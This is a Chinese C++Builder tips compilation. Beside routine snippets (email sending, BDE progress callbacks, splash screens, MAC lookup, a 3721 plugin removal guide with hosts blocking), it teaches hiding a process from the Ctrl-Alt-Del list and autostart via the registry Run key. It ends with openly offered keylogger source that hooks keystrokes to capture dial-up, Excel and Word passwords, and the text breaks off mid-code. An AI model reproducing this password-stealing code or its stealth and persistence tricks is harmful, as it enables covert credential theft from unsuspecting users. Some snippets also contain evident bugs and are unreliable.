分享
 
 
 

发送电子邮件

王朝delphi·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

关键字:任务条;发送电子邮件

怎样隐藏应用程序的任务条图标

首先,请看看这些术语。系统托盘是一个在任务条右角的小方框,在托盘了应用程序可以显示小图标 。任务条是可以在屏幕上伸展的工具栏。它就是程序图标所在的位置。想隐藏程序的任务条图标,你可以应用ShowWindow函数并传给它Application->Handle窗口句柄。

ShowWindow(Application->Handle, SW_HIDE);

若想让任务条图标再出现,只需将SW_HIDE改为SW_SHOW。

ShowWindow(Application->Handle, SW_SHOW);

注: 你可以设置主窗口的Visible属性为false来隐藏它。

注: 通过ShowWindow来隐藏窗口的任务条图标是不持久的。某些动作会使任务条图标重现。你可以将隐藏的应用程序窗口设为Tool Window来移走程序的任务条图标而避免它再次出现。Tool windows永远不会有任务条图标。 使应用程序窗口成为一个Tool Window有一个副作用:当用户按下Alt-TAB时它将不在程序列表中出现。你可以调用API函数GetWindowLong和SetWindowLong来使应用程序窗口成为一个Tool Window。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {

DWORD dwExStyle = GetWindowLong(Application->Handle, GWL_EXSTYLE); dwExStyle |= WS_EX_TOOLWINDOW; SetWindowLong(Application->Handle, GWL_EXSTYLE, dwExStyle);

try {

Application->Initialize();

Application->CreateForm(__classid(TForm1), &Form1);

Application->Run();

} catch (Exception &exception) {

Application->ShowException(&exception);

}

return 0;

}

注:程序启动后要隐藏主窗体,则可以在WinMain中添加如下代码:(Project->View Scource)

ShowWindow(Application->Handle,SW_HIDE);

Application->ShowMainForm=false;

当你想显示程序时执行下面这两行代码:(记住,如果代码定位在主窗口类的一个方法中,Application->MainForm->Visible=true可以用Visible=true 来代替。)

ShowWindow(Application->Handle, SW_SHOW);

Application->MainForm->Visible = true;

发送电子邮件

2000年第一期的《电脑报》刊登了题目为《自己动手编写电子邮件软件》的文章,文章讲述了如何用VB编写一个简单的电子邮件发送程序。其实,如果你是一个C++Builder爱好者,完全可以更快、更简捷地编写出这类软件。请听我下文分解:

与E-mail密切相关的两个协议是POP3和SMTP,POP3是Post Protocol 3的缩写,用于从POP3服务器接收电子邮件,SMTP是Simple Mail Transfer Protocol的缩写,用于通过SMTP服务器发送电子邮件。这两个协议本身是很复杂的,但C++Builder从NetManage公司引进了POP、SMTP控件,这样,我们完全可以不去管那些收发邮件的机理,只要设置好这些控件就可以编出一个C++Builder的发送邮件程序了。下面介绍SMTP控件:

SMTP控件位于控件栏的Internet页面上,名称为:NMSMTP。SMTP的主要属性有:

Host属性,用来指定SMTP服务器的主机名。

Port属性,用于指定SMTP服务器的端口号,一般设为25。

UserId属性,登录SMTP服务器时用于设置用户名。

PostMessage属性,此属性非常重要,从以下它的内容你就可以看出来了:

FromName 用于指定发件人的名称。

FromAddress 用于指定发件人的e-mail地址。

LocalProgram 用于指定发件人所使用的邮件客户程序。

ToAddress 收件人的地址。

Body 邮件正文。

Subject 邮件主题。

SMTP控件的方法:

Connect函数,用于登录到SMTP服务器,使用此函数前,Host、Port、UserId等属性必须已设好。

Disconnect函数,用于断开与SMTP服务器的连接。

SendMail函数,用于向SMTP服务器发送邮件。知道了这些,我们就可以写程序了。

新建应用程序,将工程名保存为sendmail,在Form1上加入NMSMTP控件,Host属性添入SMTP服务器的名称,如:“smtp.yeah.net”,UserId属性添入你在此邮箱申请的用户名,其它属性保持默认值;加入4个Label控件,将其Caption分别设为:“发件人名称”、“收件人地址”、“邮件主题”和“邮件正文”;加入4个Edit控件,将其Name分别设为:“Name1”、“Address1”、“Subject1”和“Body1”;一个SpeedButton控件,Caption为:“发送”(以上属性均不含引号),Click事件代码为:

NMSMTP1->Connect();

NMSMTP1->PostMessageA->FromName=Name1->Text;

NMSMTP1->PostMessageA->FromAddress=〃superlink@yeah.net〃;

NMSMTP1->PostMessageA->ToAddress->Add(Address1->Text);

NMSMTP1->PostMessageA->Subject=Subject1->Text;

NMSMTP1->PostMessageA->Body->Add(Body1->Text);

NMSMTP1->PostMessageA->LocalProgram=〃SendMail〃;

NMSMTP1->SendMail();

Application->MessageBoxA(〃发送完成!〃,〃邮件系统〃,MB_OK);

NMSMTP1->Disconnect();

完成!有人不禁要问:“就这么简单?”,的确就这么简单。不过,NMSMTP控件还有大量的功能没在此一一列出,同时还有NMPOP3控件可用来编写接收邮件的程序,如果喜爱C++Builder的朋友感兴趣,完全可以写出象OutLook Express、FoxMail这样的电子邮件软件。

C++builder编程修改注册表的问题

RootKey是注册表的根键值,比如运行regedit后看到的HKEY_USERS,HKEY_LOCAL_MACHINE就是RootKey,在TRegIniFile中缺省的RootKey是HKEY_USERS.

下面的例子是TRegistry的,TRegIniFile也差不多

void __fastcall TfrmMainForm::WriteToMyRegistry(int table_count)

{

//TODO: Add your source code here

TRegistry *MyRegistry=new TRegistry;

MyRegistry->RootKey=HKEY_LOCAL_MACHINE; //改变缺省Rootkey

if(!MyRegistry->OpenKey("Software\\Microsoft\\Windows\\Current\Version\\Run",true)) { //打开主键

//这样双引号里面的东西就变成了CurrentKey

Application->MessageBox("注册表内容无效", "读取注册表出错",MB_ICONERROR);

MyRegistry->CloseKey();

delete MyRegistry;

return;

}

MyRegistry->WriteString("myrun","c:\\sthvcd\\sthvcd.exe");

MyRegistry->CloseKey();

delete MyRegistry;

}

怎样隐藏应用程序不让它出现在CTRL-ALT-DEL对话框中

把你的应用程序从CTRL-ALT-DEL对话框中隐藏的一个简单办法是去应用程序的标题。如果一个程序的主窗口没有标题,Windows不把它放到CTRL-ALT-DEL对话框中。清除标题属性的最好地方是在WinMain函数里。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

try{

Application->Title = "";

Application->Initialize();

Application->CreateForm(__classid(TForm1), &Form1);

Application->Run();

}

catch (Exception &exception)

{

Application->ShowException(&exception);

}

return 0;

}

另一种方法是:调用RegisterServiceProcess API 函数将程序注册成为一个服务模式程序。 RegisterServiceProcess是一个在Kernel32.dll里相关但无正式文件的函数。在MS SDK头文件里没有该函数的原型说明,但在Borland import libraries for C++ Builder里能找到。很显然,这个函数的主要目的是创建一个服务模式程序。之所以说很显然,是因为MSDN里实质上对这个函数没有说什么。

下面的例子代码演示了在Windows95/98下怎样通过使用RegisterServiceProcess来把你的程序从CTRL-ALT-DEL对话框中隐藏起来。

//------------Header file------------------------------

typedef DWORD (__stdcall *pRegFunction)(DWORD, DWORD);

class TForm1 : public TForm

{

__published:

TButton *Button1;

private:

HINSTANCE hKernelLib;

pRegFunction RegisterServiceProcess;

public:

__fastcall TForm1(TComponent* Owner);

__fastcall ~TForm1();

};

//-----------CPP file------------------------------

#include "Unit1.h"

#define RSP_SIMPLE_SERVICE 1

#define RSP_UNREGISTER_SERVICE 0

__fastcall TForm1::TForm1(TComponent* Owner): TForm(Owner)

{

hKernelLib = LoadLibrary("kernel32.dll");

if(hKernelLib){

RegisterServiceProcess =(pRegFunction)GetProcAddress(hKernelLib,"RegisterServiceProcess");

if(RegisterServiceProcess)

RegisterServiceProcess(GetCurrentProcessId(),RSP_SIMPLE_SERVICE);

}

}

__fastcall TForm1::~TForm1()

{

if(hKernelLib){

if(RegisterServiceProcess)

RegisterServiceProcess(GetCurrentProcessId(),RSP_UNREGISTER_SERVICE);

FreeLibrary(hKernelLib);

}

}

windows启动时运行程序

如果希望在windows启动时运行某个程序,可以通过向注册表中加信息来实现,下面就一个例子说明:

首先在源文件(cpp)中加#include <Registry.hpp>

void __fastcall TForm1::Button1Click(TObject *Sender)

{

Tregistry *Reg;

Reg=new TRegistry();

Reg->RootKey=HKEY_LOCAL_MACHINE;

Reg->OpenKey("SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",FALSE);

Reg->WriteString("start","d:\\Oicq\\QQ.exe");

}

客户/服务器远程数据传输处理技巧

在实际的MIS系统中,远程数据库访问大多通过Modem连接,出于通信费用及速度方面的考虑,往往采用先将数据保存在本地,然后集中传送到远端的办法。远程数据传送可以有多种方案,最常见的是先将要传送的数据打包成文件,在利用文件传输形式传送到目的地,在目的地对数据恢复后添加到本地数据库中。这种方法普遍地应用于证券交易系统,其优点是速度快,并且可事先对数据压缩,更大限度地节约传送时间及费用。但这种方案也有其不足之处:由于利用文件传输机制,无法利用数据库本身的特性如完整性约束、数据一致性、回滚机制等,因此在比较复杂的数据库系统中较少采用。另一种方法是直接将两端处理成"客户/服务器"模式,将数据传送看成是向Server提交数据。由于这种方案充分利用了数据库服务器的特性,并且实际操作基本与局域网方式一致,因此本文将详细介绍这种方案。

由于传输速度的原因,当传送大量数据时绝对不赞成逐条记录地向服务器提交数据,而应批量地向Server提交,Delphi/CBuilder中提供了一个TBatchMove控件专门用于批量传送数据,利用它可极大减少网络负担,提高传送速度。遗憾的是,TBatchMove控件只提供了简单的错误控制功能,没有提供显示传送进度、用户终止传送等重要功能。然而TBatchMove所依赖的BDE却提供了一种"回调机制"可以完成上述两个功能。所谓"回调"过程是这样的:当BDE执行某种操作时,比如从一张表向另一张表拷贝大量数据的过程中,每过一段时间(如需要显示拷贝进度时),BDE会调用一段你自己写的函数(回调函数),以帮助你更完全地控制程序。这种做法有点想DLPHI中的Event(事件)及事件处理函数--某个具体的操作动作会让VCL触发某个事件,从而调用一段你写好的事件处理函数,不同的事件会触发不同的处理函数。

为了让BDE能正确地与你的函数协同工作,你必须事先"注册"你的函数,让BDE知道某个事件发生时应调用(回调)你的某段代码。BDE提供了一个DbiRegisterCallBack注册函数,不幸的是,BDE的联机帮助中的说明不能适合于Delphi/CBuilder,按照该说明编写的程序根本不能通过编译!笔者通过实践找到了正确使用BDE回调函数的方法,下面将详细介绍该机制的使用。BDE回调机制包含以下几个步骤:

1)按BDE的预定格式编写你的回调函数

2)调用DbiRegisterCallBack函数注册你的回调函数,这样当你执行相关数据库操作时就自然地触发你的回调函数。

3)执行相关数据库操作,比如BatchMove1->Exectue();

4)注销该回调函数

其中最关键的是正确注册你的回调函数,因此先介绍第二步。(注册与注销都调用同一函数,只是最后一个参数略有不同)

首先你应知道在哪类"事件"发生时调用你的回调函数,其次你应明白与该事件相关的参数及数据结构-----这一切都发生在调用DbiRegisterCallBack函数注册时,所以下面先介绍DbiRegisterCallBack的正确用法及说明:

在原BDE帮助中该函数的原形(C)是这样的

DBIResultDBIFNDbiRegisterCallBack(hCursor,ecbType,iClientData,iCbBufLen,pCbBuf,pfCb);

要使用该函数必须include头文件,问题是Delphi/CBuilder中根本没有提供该文件,取而代之的是"BDE.HPP",但是在包含进该文件后程序仍然不能编译通过,因为该文件中没有DBIFN等的说明。一个简单的方法是在代码中去掉DBIFN。函数中各参数解释如下:hCursor是一个BDE中对象的句柄,如果这个参数为NULL,则表示注册的回调函数适合于所有BDE任务;第二个参数ecbType是指回调函数的触发条件的类别,有很多种类型可以选择,其中cbGENPROGRESS表示当需要显示一个长操作的进度时触发这个回调函数;第三个参数iClientData是传递给回调函数的某个数据结构的指针,在我们的例子中为NULL;第四个参数iCbBufLen是指回调Buffer的大小,该大小随第二个参数的不同而不同,比如sizeof(CBPROGRESSDesc);第五个参数pCbBuf是回调Buffer的指针,该指针类型随第二个参数变化,比如cbGENPROGRESS的数据结构是CBPROGRESSDesc;最后一个参数是回调函数的地址指针,当该参数为NULL时表示注销该类型的回调函数。关于回调函数将在稍后详细介绍。下面是注册执行长操作时显示进度的回调函数的格式:

intrst=DbiRegisterCallBack(

NULL,//适合于任何进程

cbGENPROGRESS,//回调类型:显示长操作的进度

NULL,//没有数据

sizeof(CBPROGRESSDesc),//数据结构的大小

&aCBBuf,//数据的内存地址

ApiCallBackFun//回调函数的地址

);

接下来就应该完成第一步:编写回调函数

在C中,回调函数应如下声明:

CBRType__stdcallApiCallBackFun(

CBTypeecbType,//回调类型

intiClientData,//回调数据(指针)

void*pCbInfo//回调数据结构指针

)

第一个参数是回调类型;第二个参数是回调数据,其解释同DbiRegisterCallBack的第三个参数;第三个是回调数据的指针,该数据的结构随回调类型的不同而不同。比如进度指示cbGENPROGRESS的数据结构是CBPROGRESSDesc,其定义如下:

structCBPROGRESSDesc{

shortiPercentDone;//进度的百分比

charszMsg[128];//进度的文本信息

};

该结构的两个域同时只有一个起作用,第一个表示操作的进度百分比,当其为-1时表示第二个域起作用。第二个域用字符串表示进度信息,其格式为<String><:><Value>,比如:RecordsCopied:125

本文主要在回调函数中完成两个工作:

1)显示数据拷贝(BatchMove)进度

2)提供让用户终止长时间拷贝的机制

显示拷贝进度的代码如下:

CBRType__stdcallApiCallBackFun(

CBTypeecbType, //Callbacktype

Int iClientData, //Clientcallbackdata

void*pCbInfo //Callbackinfo/Client

) {

AnsiString str;

if(ecbType==cbGENPROGRESS){

intj=StrToInt(((CBPROGRESSDesc*)pCbInfo)->iPercentDone);

if(j<0) { //如果iPercentDone为-1,则分析szMsg的信息

str=((CBPROGRESSDesc*)pCbInfo)->szMsg;intpos=str.AnsiPos(":")+1; //提取出拷贝的记录数

//下面的代码用来在一个Form中显示拷贝进度及拷贝数量Form1->Label2->Caption=str.SubString(pos,100);

Form1->Label2->Update();

Form1->ProgressBar1->Position=int((str.SubString(pos,100).ToDouble()/Form1->TransNum)*100);

Form1->ProgressBar1->Update();

}else{

Form1->ProgressBar1->Position=j;Form1->ProgressBar1->Update();

}

return cbrCONTINUE;

//必须返回cbrCONTINUE以便让BatchMove继续,若返回cbrABORT则终止拷贝

}

}

一切完成以后,每当调用长时间BDE操作(比如BatchMove1->Exectue())时都会触发该回调函数,注意在不需要时应"注销"这个回调函数。

如果批量传送数据时间很长,则必须为用户提供终止该操作的机会,前面提到,若回调函数返回cbrABORT,则BatchMove过程立即终止。可以在Form上加上一个"停止"按钮和一个全局布尔变量isContinue,当开始拷贝时设该变量为true,当按钮按下后,设该变量为false,每次调用回调函数时检查isContinue的值,若为true则回调函数返回cbrCONTINUE让拷贝继续,否则返回cbrABORT终止拷贝。但是问题在于一旦拷贝过程开始,该进程内所有消息将被阻塞,应用程序在拷贝结束之前没有机会响应键盘、鼠标等一切消息,连屏幕刷新都不能完成,因此必须找到一种避免消息阻塞的方法。

大家知道,Windows是靠事件(消息)驱动的,在WIN32系统中有两种消息队列:系统队列和应用程序队列,当一个程序进行一个长时间操作时,系统分配给该程序的时间片将完全用于处理该操作,换句话说,应用程序没有从它的应用程序队列中取出消息并处理的机会,这样该程序将停止一切对外部事件的响应直到该操作完成为止。具体到本文中就是程序必须等到BatchMove1->Execute()执行完毕后才能响应用户操作,因此用户将完全没有机会终止拷贝过程。

解决的办法是:在回调函数中取出消息队列中的消息,并后台处理它们,这样用户将有机会按下终止按钮。实现的代码很简单,在回调函数中最后加入以下代码即可

CBRType__stdcallApiCallBackFun(…){

……MSGamsg;

while(PeekMessage(&amsg,NULL,0,0,PM_REMOVE)) {//从队列中取消息

TranslateMessage(&amsg);//翻译消息

DispatchMessage(&amsg);//分发消息

}

if(isContinue)

return cbrCONTINUE;

else

returncbrABORT;

}

软件封面的实现

1.先设置两个窗体Form1 Form2其中Form1为主窗体,Form2为动态调用窗体

在工程文件Project1.cpp中加入如下代码:

#include <vcl.h>

#include "Unit2.h"

#pragma hdrstop

USERES("Project1.res");

USEFORM("Unit1.cpp", Form1);

USEFORM("Unit2.cpp", Form2);

//---------------------------------------------------------------------------

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

try{

Application->Initialize();

Form2 = new TForm2(Application);

Form2->Show();

Form2->Update();

Application->CreateForm(__classid(TForm1), &Form1);

delete Form2;

Application->Run();

}

catch (Exception &exception){

Application->ShowException(&exception);

}

return 0;

}

2.然后在主窗体unit1.cpp中加入下面代码:

void __fastcall TForm1::FormCreate(TObject *Sender)

{

unsigned long CurTime;

unsigned long DelayTime;

// 设置延迟时间为5秒

DelayTime = 5000;

CurTime = GetTickCount();

// 在这儿可以加上应用程序的初始化过程

unsigned long Inter;

do{

Inter = GetTickCount()-CurTime;

Form2->ProgressBar1->Position = Inter*100.0/DelayTime;

} while( Inter<DelayTime );

}

在BCB中显示2000新式对话框

我自己测试了一下,在2000和xp下能显示新式对话框,不过不能使用bcb中的组件,只能自己调用api函数,再一次说明了api函数的强大.我的程序如下,希望大家指教.

//main.h

//---------------------------------------------------------------------------

#ifndef mainH

#define mainH

//---------------------------------------------------------------------------

#include <Classes.hpp>

#include <Controls.hpp>

#include <StdCtrls.hpp>

#include <Forms.hpp>

#include <Dialogs.hpp>

#include <ExtCtrls.hpp>

//---------------------------------------------------------------------------

class TForm1 : public TForm

{

__published: // IDE-managed Components

TButton *Button1;

TPanel *Panel1;

TMemo *Memo1;

TPanel *Panel2;

TGroupBox *GroupBox1;

TCheckBox *CheckBox1;

TButton *Button2;

void __fastcall Button1Click(TObject *Sender);

void __fastcall FormCreate(TObject *Sender);

void __fastcall FormDestroy(TObject *Sender);

void __fastcall Button2Click(TObject *Sender);

void __fastcall CheckBox1Click(TObject *Sender);

private: // User declarations

public:// User declarations

LPOPENFILENAMEA pOpenFile;

BYTE *pBuf;

__fastcall TForm1(TComponent* Owner);

void __fastcall DisplayInMemo(String str);

};

//---------------------------------------------------------------------------

extern PACKAGE TForm1 *Form1;

//---------------------------------------------------------------------------

#endif

//main.c

//---------------------------------------------------------------------------

#include <vcl.h>

#pragma hdrstop

#include "main.h"

//---------------------------------------------------------------------------

#pragma package(smart_init)

#pragma resource "*.dfm"

TForm1 *Form1;

//---------------------------------------------------------------------------

__fastcall TForm1::TForm1(TComponent* Owner)

: TForm(Owner)

{

}

//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)

{

String str;

BOOLbReturn = GetOpenFileName(pOpenFile);

if(bReturn)

{

str.sprintf("您选择的文件为%s",pOpenFile->lpstrFile);

DisplayInMemo(str);

}else{

str.sprintf("您没有选择的文件");

DisplayInMemo(str);

}

}

//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)

{

String str;

pBuf =(BYTE *)malloc(1024);

memset(pBuf,0,1024);

pBuf = "*.txt";

pOpenFile = (LPOPENFILENAMEA)malloc(sizeof(OPENFILENAMEA));

memset(pOpenFile,0,sizeof(OPENFILENAMEA));

pOpenFile->lStructSize = sizeof(OPENFILENAMEA);

pOpenFile->hwndOwner = Handle;

pOpenFile->hInstance = HInstance;

pOpenFile->lpstrFilter = "文本文件(*.txt)";

pOpenFile->nFilterIndex = 0;

pOpenFile->nMaxFile = 255;

pOpenFile->Flags = OFN_EXPLORER;

pOpenFile->lpstrFile = pBuf;

pOpenFile->lpstrTitle = "我的文件对话框";

pOpenFile->lpstrInitialDir = ".\\";

//pOpenFile->

str.sprintf("显示2000样式对话框演示");

DisplayInMemo(str);

}

//---------------------------------------------------------------------------

void __fastcall TForm1::FormDestroy(TObject *Sender)

{

free((void *)pOpenFile);

}

//---------------------------------------------------------------------------

void __fastcall TForm1::DisplayInMemo(String str)

{

if(Memo1->Lines->Count > 100){

Memo1->Lines->Clear();

}

Memo1->Text = str + char(13) + char(10) + Memo1->Text;

}

void __fastcall TForm1::Button2Click(TObject *Sender)

{

Close();

}

//---------------------------------------------------------------------------

void __fastcall TForm1::CheckBox1Click(TObject *Sender)

{

if(CheckBox1->Checked){

pOpenFile->Flags |= OFN_READONLY;

}else{

pOpenFile->Flags &= !OFN_READONLY;

}

}

//---------------------------------------------------------------------------

在bcb5测试通过.

如何屏蔽系统ALT+F4

第一步:在你的密码窗口的头文件的 public部分加上以下两段代码:

//这是自定义响应消息的函数:

void __fastcall OnCloseForm(TMessage Message);

//定义一个消息域:

BEGIN_MESSAGE_MAP

MESSAGE_HANDLER(WM_SYSCOMMAND, TMessage, OnCloseForm)

END_MESSAGE_MAP(TForm)

第二步:在密码窗口的代码中增加此函数的实现:(注 TfWelcome 是密码窗口的名字,改成你自己的密码窗口名称)

void __fastcall TfWelcome::OnCloseForm(TMessage Message)

{

if(Message.WParam==SC_CLOSE){

//此消息拦截是为了防止用户关闭登录窗口 。

if(Application->MessageBox("您确实要关闭本系统?”。","金浪软件提醒",48|1)==1){

Application->Terminate();//如果用户选择“是”,就关闭整个程序。

}

}

}

说明:这样用户无论如何都关不了你的密码窗口了,要关就把整个程序关了。

调用API函数NetBios来获得网卡物理地址

本程序是调用API函数NetBios来获得网卡物理地址的。

//Get MAC Address

//Proto: bool MAC(char *Mac);

//return: true if success and Mac is MAC address,

// false if fail.

//

bool MAC(char *Mac)

{

typedef struct _ASTAT_

{

ADAPTER_STATUS adapt;

NAME_BUFFER NameBuff [30];

}ASTAT, *PASTAT;

ASTAT Adapter;

NCB ncb;

UCHAR uRetCode;

char tmp[40];

Mac[0]='\0';

memset( &ncb, 0, sizeof(ncb) );

ncb.ncb_command = NCBRESET;

ncb.ncb_lana_num = 0;

uRetCode = Netbios( &ncb );

if (uRetCode!=0)

{

strcat(Mac,"Init Error!");

return false;

}

memset(&ncb, 0, sizeof(ncb) );

ncb.ncb_command = NCBASTAT;

ncb.ncb_lana_num = 0;

strcpy((char *)ncb.ncb_callname, "* " );//这个"*"代表获得本机网卡地址,换成IP地址就可以获得局域网内其他机器的网卡地址。

ncb.ncb_buffer =(unsigned char *) &Adapter;

ncb.ncb_length = sizeof(Adapter);

uRetCode = Netbios( &ncb );

if ( uRetCode == 0 )

{

for(int i=0;i<6;i++)

{

sprintf(tmp,"%02X ",(int)Adapter.adapt.adapter_address[i]);

strcat(Mac,tmp);

}

sprintf(tmp," Software: %d.%d",Adapter.adapt.rev_major,Adapter.adapt.rev_minor);

strcat(Mac,tmp);

return true;

}

else

{

strcat(Mac,"Unknown.");

return false;

}

}

细说3721网络实名“病毒”(人家用C++写的)

最近浏览一些门户网站时,会不知不觉的被安装上一个名为“3721网络实名”的IE插件。虽说这些门户网站和3721本是好意,可是这样单方面地安装上这么一个插件有点不妥!之所以说它是病毒,因为它同样是开机自动启动,而且虽然带来 一些方便,但是使系统运行的极不稳定,拖慢上网速度。在s8s8.net的论坛上看 到很多网友都说关机时经常会出现 explorer.exe 出错的提示。我也是同样深受 其害,仔细研究了一下,问题就出在这个“3721网络实名”上!更可气的是,可能是由于程序做的比较仓促,完全没有卸载功能!

这里附上它的源代码,通过代码可以看出这不是木马。不过程序写的很烂……

#include "windows.h"

#include "winbase.h"

void main()

{

char buf[MAX_PATH];

::ZeroMemory(buf, MAX_PATH);

::GetWindowsDirectory(buf, MAX_PATH);

char filename[MAX_PATH];

::ZeroMemory(filename, MAX_PATH);

strcpy(filename, buf);

strcat(filename, "\\Downloaded Program Files\\CnsMinIO.dll");

::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

::ZeroMemory(filename, MAX_PATH);

strcpy(filename, buf);

strcat(filename, "\\Downloaded Program Files\\CnsMin.dll");

::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

::ZeroMemory(filename, MAX_PATH);

strcpy(filename, buf);

strcat(filename, "\\Downloaded Program Files\\cnsio.dll");

::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

}

下面将给大家卸载这个插件的详细过程。

由于这个3721网络实名插件是使用Rundll32.exe调用连接库的,系统无法终止Rundll32.exe进程,所以我们必须重新启动计算机,按 F8 进入安全模式(F8 只能按一次,千万不要多按!)。之后,单击 开始 -> 运行 regedit.exe 打开注册表,进入:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

删除键:CnsMin

其键值为:Rundll32.exe C:\WINNT\DOWNLO~1\CnsMin.dll,Rundll32

(如果是win98,这里的 C:\WINNT\DOWNLO~1\ 为 C:\WINDOWS\DOWNLO~1\)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\

删除整个目录:!CNS

这个目录在 Internet 选项 -> 高级 中加入了3721网络实名的选项。

HKEY_LOCAL_MACHINE\SOFTWARE\3721\ 以及 HKEY_CURRENT_USER\Software\3721\

删除整个目录:3721

注:如果您安装了3721的其它软件,如 极品飞猫 等,则应删除

整个目录:HKEY_LOCAL_MACHINE\SOFTWARE\3721\CnsMin

以及HKEY_CURRENT_USER\Software\3721\CnsMin

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\

删除键:CNSEnable 其键值为:a2c39d5f

删除键:CNSHint 其键值为:a2c39d5f

删除键:CNSList 其键值为:a2c39d5f

在删除完注册表中的项之后,还需要删除存储在硬盘中的3721网络实名文件。

删除如下文件:

C:\WINNT\DOWNLO~1 目录下

(这里的 C:\WINNT\DOWNLO~1\ 为 C:\WINDOWS\DOWNLO~1\ 下同)

2001-08-09 15:34 <DIR> 3721

2001-08-02 17:03 40,960 cnsio.dll

2001-08-08 14:14 102,400 CnsMin.dll

2001-08-24 23:14 42 CnsMin.ini

2001-08-09 10:18 13,848 CnsMinEx.cab

2001-07-06 17:57 32,768 CnsMinEx.dll

2001-08-25 02:52 115 CnsMinEx.ini

2001-08-25 02:51 17,945 CnsMinIO.cab

2001-08-02 17:02 32,768 CnsMinIO.dll

2001-08-24 23:15 40,793 CnsMinUp.cab

C:\WINNT\DOWNLO~1\3721 目录下

2001-08-02 17:03 40,960 cnsio.dll

2001-08-24 15:53 102,400 CnsMin.dll

2001-07-06 17:59 213 CnsMin.inf

2001-08-24 15:48 28,672 CnsMinIO.dll

以上文件全部删除,这样3721网络实名“病毒”就从您的计算机中全部清除了。

最后,重新启动计算机,进入正常模式。现在已经完全没有3721网络实名的捆饶了!

..:::[end]:::..

下面是禁止3721的方法:

卸载3721后,用记事本打开c:\windows\hosts(查找,说明为文件),加入以下字符(IP和域名之间用一个空格间隔开):

0.0.0.0 www.3721.com

0.0.0.0 cnsmin.3721.com

0.0.0.0 download.3721.com

保存的文件名为Hosts(注意不要加任何扩展名),Windows 98/Me的系统把该文件保存到Windows目录,Windows 2000/XP的系统把该文件保存到WINNT\system32\drivers\etc目录,如果已经有Hosts文件,直接替换就可以。然后打开浏览器观察结果,怎么样?再也看不到3721的对话框了吧?

同理,用Hosts文件还可以对付网页中的广告。现在很多大型网站,都有专门存放广告的主机,查看网页的源代码,就可以知道广告文件存放在哪台主机上,然后用Hosts文件解析这台主机的IP,就可以把这些广告拒之门外了。

也可以加速经常浏览的网站:X.X.X.X(空格)WWW.X.COM (IP为真实值)

..:::[other]:::..

另外可以使用多页面浏览器把

3721.com 218.244.44.10

3721.net 202.106.148.154

www.3721.com 218.244.44.10

www.3721.net 202.106.148.154

download.3721.com 218.244.44.34

download.3721.net 218.244.44.35

这些添加到黑名单,

把C段封杀

218.244.44.*

202.106.148.*

附件附上Hosts:

# Copyright (c) 1993-1999 Microsoft Corp.

#

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

#

# This file contains the mappings of IP addresses to host names. Each

# entry should be kept on an individual line. The IP address should

# be placed in the first column followed by the corresponding host name.

# The IP address and the host name should be separated by at least one

# space.

#

# Additionally, comments (such as these) may be inserted on individual

# lines or following the machine name denoted by a '#' symbol.

#

# For example:

#

# 102.54.94.97 rhino.acme.com # source server

# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost

127.0.0.1 3721.com #3721网络实名

127.0.0.1 3721.net #3721网络实名

127.0.0.1 cnsmin.3721.com #3721网络实名

127.0.0.1 download.3721.com #3721网络实名

127.0.0.1 www.3721.com #3721网络实名

127.0.0.1 www.3721.net #3721网络实名

一个截获用户输入密码程序

整理东西的时候翻出了个几年前的程序,功能是当用户输入拨号、EXCEL,WORD密码时,将其保存在一个文件里。程序用的是日志钩子,这样就不用象其他全局HOOK那样,必须单写一个DLL。

为了让初学者深入了解,将源代码贴上来,(SDK程序VC,BCB等WIN下的C编译器均可编译)象现在那些记录E-MAIL密码,OICQ密码等工具都是这原理,俺当时写着玩意的时候还没有OICQ。

有兴趣的可以自己加上。

#include <windows.h>

#define KeyPMask 0x80000000

#define SERVICE_PROC 1

#define UNSERVICE_PROC 0

#define RUN "\\GmkMon.exe"

typedef struct tagKEYDATA{

char kKey;

SHORT kShift;

SHORT kCaps;

SHORT kNum;

BOOL bShift;

BOOL bCaps;

BOOL bNum;

}KEYDATA,*LPKEYDATA;

HHOOK hHook=NULL;

DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD);

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;

LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam);

BOOL WINAPI HideProc(int mode)

{

HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL");

if(DLLInst)

{

RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))

GetProcAddress(DLLInst,"RegisterServiceProcess");

if(RegisterServiceProcess)

{

RegisterServiceProcess(GetCurrentProcessId(),mode);

return TRUE;

}

else

return FALSE;

}

else return FALSE;

}

BOOL WINAPI IsPassWindow()

{

HWND hWnd,curHwnd;

TCHAR szTemp[MAX_PATH];

DWORD dwsTyle;

hWnd=GetActiveWindow();

if(hWnd==NULL) return FALSE;

curHwnd =hWnd;

while(curHwnd!=NULL)

{

hWnd=curHwnd;

curHwnd=GetParent(hWnd);

}

dwsTyle=GetWindowLong(hWnd,GWL_STYLE);

if(dwsTyle & ES_PASSWORD) //普通密码框

return TRUE;

else if(!lstrcmp(szTemp,"EDTBX")) //Excel密码

return TRUE;

else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU))

return TRUE; //WORD密码

GetWindowText(hWnd,szTemp, sizeof(szTemp));

if(!strncmp(szTemp,"连接到",6)) //拨号网络

return TRUE;

return FALSE;

}

TCHAR WINAPI GetKey(int nKey)

{

KEYDATA kd;

kd.kShift=GetKeyState(VK_SHIFT);

kd.kCaps=GetKeyState(0x14);

kd.kNum=GetKeyState(0x90);

